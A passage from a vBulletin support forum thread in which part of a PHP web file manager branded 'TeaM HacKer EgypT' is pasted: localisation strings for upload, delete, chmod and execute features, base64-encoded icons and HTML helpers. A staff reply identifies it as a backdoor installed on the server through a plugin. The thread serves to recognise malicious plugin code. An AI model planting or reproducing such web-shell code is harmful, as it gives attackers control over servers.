                            'add_basic_auth' => 'pإ™idej zأ،kladnأ* autentizaci',
                            
                            'uploaded' => 'Soubor "[%1]" byl nahrأ،n na server.',
                            'not_uploaded' => 'Soubor "[%1]" nebyl nahrأ،n na server.',
                            'already_exists' => 'Soubor "[%1]" uإ¾ exituje.',
                            'created' => 'Soubor "[%1]" byl vytvoإ™en.',
                            'not_created' => 'Soubor "[%1]" nemohl bأ½t  vytvoإ™en.',
                            'really_delete' => 'Vymazat soubor?',
                            'deleted' => "Byly vymazأ،ny tyto soubory:\n[%1]",
                            'not_deleted' => "Tyto soubory nemohly bأ½t vytvoإ™eny:\n[%1]",
                            'rename_file' => 'Pإ™ejmenuj soubory:',
                            'renamed' => 'Soubor "[%1]" byl pإ™ejmenovأ،n na "[%2]".',
                            'not_renamed' => 'Soubor "[%1]" nemohl bأ½t pإ™ejmenovأ،n na "[%2]".',
                            'move_files' => 'Pإ™emأ*stit tyto soubory:',
                            'moved' => "Tyto soubory byly pإ™emأ*stؤ›ny do \"[%2]\":\n[%1]",
                            'not_moved' => "Tyto soubory nemohly bأ½t pإ™emأ*stؤ›ny do \"[%2]\":\n[%1]",
                            'copy_files' => 'Zkopأ*rovat tyto soubory:',
                            'copied' => "Tyto soubory byly zkopأ*rovأ،ny do \"[%2]\":\n[%1]",
                            'not_copied' => "Tyto soubory nemohly bأ½t zkopأ*rovأ،ny do \"[%2]\":\n[%1]",
                            'not_edited' => 'Soubor "[%1]" nemohl bأ½t otevإ™en.',
                            'executed' => "SOubor \"[%1]\" byl spuإ،tؤ›n :\n{%2}",
                            'not_executed' => "Soubor \"[%1]\" nemohl bأ½t spuإ،tؤ›n:\n{%2}",
                            'saved' => 'Soubor "[%1]" byl uloإ¾en.',
                            'not_saved' => 'Soubor "[%1]" nemohl bأ½t uloإ¾en.',
                            'symlinked' => 'Byl vyvoإ™en symbolickأ½ odkaz "[%2]" na soubor "[%1]".',
                            'not_symlinked' => 'Symbolickأ½ odkaz "[%2]" na soubor "[%1]" nemohl bأ½t vytvoإ™en.',
                            'permission_for' => 'Prأ،va k "[%1]":',
                            'permission_set' => 'Prأ،va k "[%1]" byla zmؤ›nؤ›na na [%2].',
                            'permission_not_set' => 'Prأ،va k "[%1]" nemohla bأ½t zmؤ›nؤ›na na [%2].',
                            'not_readable' => 'Soubor "[%1]" nenأ* moإ¾no pإ™eؤچأ*st.'
                                    );
                            
                                case 'en':
                                default:
                            
                                    $date_format = 'n/j/y H:i:s';
                                    $word_charset = 'ISO-8859-1';
                            
                                    return array(
                            'directory' => 'Directory',
                            'file' => 'File',
                            'filename' => 'Filename',
                            
                            'size' => 'Size',
                            'permission' => 'Permission',
                            'owner' => 'Owner',
                            'group' => 'Group',
                            'other' => 'Others',
                            'functions' => 'Functions',
                            
                            'read' => 'read',
                            'write' => 'write',
                            'execute' => 'execute',
                            
                            'create_symlink' => 'create symlink',
                            'delete' => 'delete',
                            'rename' => 'rename',
                            'move' => 'move',
                            'copy' => 'copy',
                            'edit' => 'edit',
                            'download' => 'download',
                            'upload' => 'upload',
                            'create' => 'create',
                            'change' => 'change',
                            'save' => 'save',
                            'set' => 'set',
                            'reset' => 'reset',
                            'relative' => 'Relative path to target',
                            
                            'yes' => 'Yes',
                            'no' => 'No',
                            'back' => 'back',
                            'destination' => 'Destination',
                            'symlink' => 'Symlink',
                            'no_output' => 'no output',
                            
                            'user' => 'User',
                            'password' => 'Password',
                            'add' => 'add',
                            'add_basic_auth' => 'add basic-authentification',
                            
                            'uploaded' => '"[%1]" has been uploaded.',
                            'not_uploaded' => '"[%1]" could not be uploaded.',
                            'already_exists' => '"[%1]" already exists.',
                            'created' => '"[%1]" has been created.',
                            'not_created' => '"[%1]" could not be created.',
                            'really_delete' => 'Delete these files?',
                            'deleted' => "These files have been deleted:\n[%1]",
                            'not_deleted' => "These files could not be deleted:\n[%1]",
                            'rename_file' => 'Rename file:',
                            'renamed' => '"[%1]" has been renamed to "[%2]".',
                            'not_renamed' => '"[%1] could not be renamed to "[%2]".',
                            'move_files' => 'Move these files:',
                            'moved' => "These files have been moved to \"[%2]\":\n[%1]",
                            'not_moved' => "These files could not be moved to \"[%2]\":\n[%1]",
                            'copy_files' => 'Copy these files:',
                            'copied' => "These files have been copied to \"[%2]\":\n[%1]",
                            'not_copied' => "These files could not be copied to \"[%2]\":\n[%1]",
                            'not_edited' => '"[%1]" can not be edited.',
                            'executed' => "\"[%1]\" has been executed successfully:\n{%2}",
                            'not_executed' => "\"[%1]\" could not be executed successfully:\n{%2}",
                            'saved' => '"[%1]" has been saved.',
                            'not_saved' => '"[%1]" could not be saved.',
                            'symlinked' => 'Symlink from "[%2]" to "[%1]" has been created.',
                            'not_symlinked' => 'Symlink from "[%2]" to "[%1]" could not be created.',
                            'permission_for' => 'Permission of "[%1]":',
                            'permission_set' => 'Permission of "[%1]" was set to [%2].',
                            'permission_not_set' => 'Permission of "[%1]" could not be set to [%2].',
                            'not_readable' => '"[%1]" can not be read.'
                                    );
                            
                                }
                            
                            }
                            
                            function getimage ($image) {
                                switch ($image) {
                                case 'file':
                                    return base64_decode('R0lGODlhEQANAJEDAJmZmf///wAAAP///yH5BAHoAwMALAAAAAARAA0AAAItnIGJxg0B42rsiSvCA/REmXQWhmnih3LUSGaqg35vFbSXucbSabunjnMohq8CADsA');
                                case 'folder':
                                    return base64_decode('R0lGODlhEQANAJEDAJmZmf///8zMzP///yH5BAHoAwMALAAAAAARAA0AAAIqnI+ZwKwbYgTPtIudlbwLOgCBQJYmCYrn+m3smY5vGc+0a7dhjh7ZbygAADsA');
                                case 'hidden_file':
                                    return base64_decode('R0lGODlhEQANAJEDAMwAAP///5mZmf///yH5BAHoAwMALAAAAAARAA0AAAItnIGJxg0B42rsiSvCA/REmXQWhmnih3LUSGaqg35vFbSXucbSabunjnMohq8CADsA');
                                case 'link':
                                    return base64_decode('R0lGODlhEQANAKIEAJmZmf///wAAAMwAAP///wAAAAAAAAAAACH5BAHoAwQALAAAAAARAA0AAAM5SArcrDCCQOuLcIotwgTYUllNOA0DxXkmhY4shM5zsMUKTY8gNgUvW6cnAaZgxMyIM2zBLCaHlJgAADsA');
                                case 'smiley':
                                    return base64_decode('R0lGODlhEQANAJECAAAAAP//AP///wAAACH5BAHoAwIALAAAAAARAA0AAAIslI+pAu2wDAiz0jWD3hqmBzZf1VCleJQch0rkdnppB3dKZuIygrMRE/oJDwUAOwA=');
                                case 'arrow':
                                    return base64_decode('R0lGODlhEQANAIABAAAAAP///yH5BAEKAAEALAAAAAARAA0AAAIdjA9wy6gNQ4pwUmav0yvn+hhJiI3mCJ6otrIkxxQAOw==');
                                }
                            }
                            
                            function html_header () {
                                global $site_charset;
                            
                                echo <<<END
                            <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
                                 "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
                            <html xmlns="http://www.w3.org/1999/xhtml">
                            <head>
                            
                            <meta http-equiv="Content-Type" content="text/html; charset=$site_charset" />
                            
                            <title>TeaM HacKer EgypT</title>
                            
                            <style type="text/css">
                            body { font: small sans-serif; text-align: center }
                            img { width: 17px; height: 13px }
                            a, a:visited { text-decoration: none; color: navy }
                            hr { border-style: none; height: 1px; background-color: silver; color: silver }
                            #main { margin-top: 6pt; margin-left: auto; margin-right: auto; border-spacing: 1px }
                            #main th { background: #eee; padding: 3pt 3pt 0pt 3pt }
                            .listing th, .listing td { padding: 1px 3pt 0 3pt }
                            .listing th { border: 1px solid silver }
                            .listing td { border: 1px solid #ddd; background: white }
                            .listing .checkbox { text-align: center }
                            .listing .filename { text-align: left }
                            .listing .size { text-align: right }
                            .listing .permission_header { text-align: left }
                            .listing .permission { font-family: monospace }
                            .listing .owner { text-align: left }
                            .listing .group { text-align: left }
                            .listing .functions { text-align: left }
                            .listing_footer td { background: #eee; border: 1px solid silver }
                            #directory, #upload, #create, .listing_footer td, #error td, #notice td { text-align: left; padding: 3pt }
                            #directory { background: #eee; border: 1px solid silver }
                            #upload { padding-top: 1em }
                            #create { padding-bottom: 1em }
                            .small, .small option { font-size: x-small }
                            textarea { border: none; background: white }
                            table.dialog { margin-left: auto; margin-right: auto }
                            td.dialog { background: #eee; padding: 1ex; border: 1px solid silver; text-align: center }
                            #permission { margin-left: auto; margin-right: auto }
                            #permission td { padding-left: 3pt; padding-right: 3pt; text-align: center }
                            td.permission_action { text-align: right }
                            #symlink { background: #eee; border: 1px solid silver }
                            #symlink td { text-align: left; padding: 3pt }
                            #red_button { width: 120px; color: #400 }
                            #green_button { width: 120px; color: #040 }
                            #error td { background: maroon; color: white; border: 1px solid silver }
                            #notice td { background: green; color: white; border: 1px solid silver }
                            #notice pre, #error pre { background: silver; color: black; padding: 1ex; margin-left: 1ex; margin-right: 1ex }
                            code { font-size: 12pt }
                            td { white-space: nowrap }
                            </style>
                            
                            <script type="text/javascript">
                            <!--
                            function activate (name) {
                                if (document && document.forms[0] && document.forms[0].elements['focus']) {
                                    document.forms[0].elements['focus'].value = name;
                                }
                            }
                            //-->
                            </script>
                            
                            </head>
                            <body>
                            
                            
                            END;
                            
                            }
                            
                            function html_footer () {
                            
                                echo <<<END
                            </body>
                            </html>
                            END;
                            
                            }
                            
                            function notice ($phrase) {
                                global $cols;
                            
                                $args = func_get_args();
                                array_shift($args);
                            
                                return '<tr id="notice">
                                <td colspan="' . $cols . '">' . phrase($phrase, $args) . '</td>
                            </tr>
                            ';
                            
                            }
                            
                            function error ($phrase) {
                                global $cols;
                            
                                $args = func_get_args();
                                array_shift($args);
                            
                                return '<tr id="error">
                                <td colspan="' . $cols . '">' . phrase($phrase, $args) . '</td>
                            </tr>
                            ';
                            
                            }

                            Comment


                            • #15
                              It installs a backdoor onto the server itself. Basically why we say having base64 in any plugin is bad.
                              Translations provided by Google.

                              Wayne Luke
                              The Rabid Badger - a vBulletin Cloud customization and demonstration site.
                              vBulletin 5 Documentation - Updated every Friday. Report issues here.
                              vBulletin 5 API - Full / Mobile
                              I am not currently available for vB Messenger Chats.

                              Comment


                              • Markowitch
                                Markowitch commented
                                Editing a comment
                                Have you guys any plans for restricting code, run in plugins? It could be cool if it was vbulletin itself that decided what the plugin could access. As I see it, this file manager can do everything that PHP and the web server allows, so it's kind of a wild west code wise.

                                Perhaps vbulletin is already considering a security model for plugins? Maybe even a walled garden, like a plugin store, were code is evaluated before beeing allowed to enter the eco system?

                            Related Topics

                            Collapse

                            • nfinity
                              Login Session
                              by nfinity
                              Hello.

                              As your staff talked, I asked my problem at vbulletin.org. I think they don't work briskly, I couldn't get help. Is there any tip of this?

                              I have own my site. I try to...
                              Tue 27th Nov '12, 3:53pm
                            • nfinity
                              Share login session
                              by nfinity
                              Hello.

                              I have own my site. I try to use VB5 as my forum. So I need to use my login session with VB5.
                              What can I do.
                              The other question is;
                              If I change some on login page,...
                              Mon 26th Nov '12, 8:05pm
                            Working...
                            X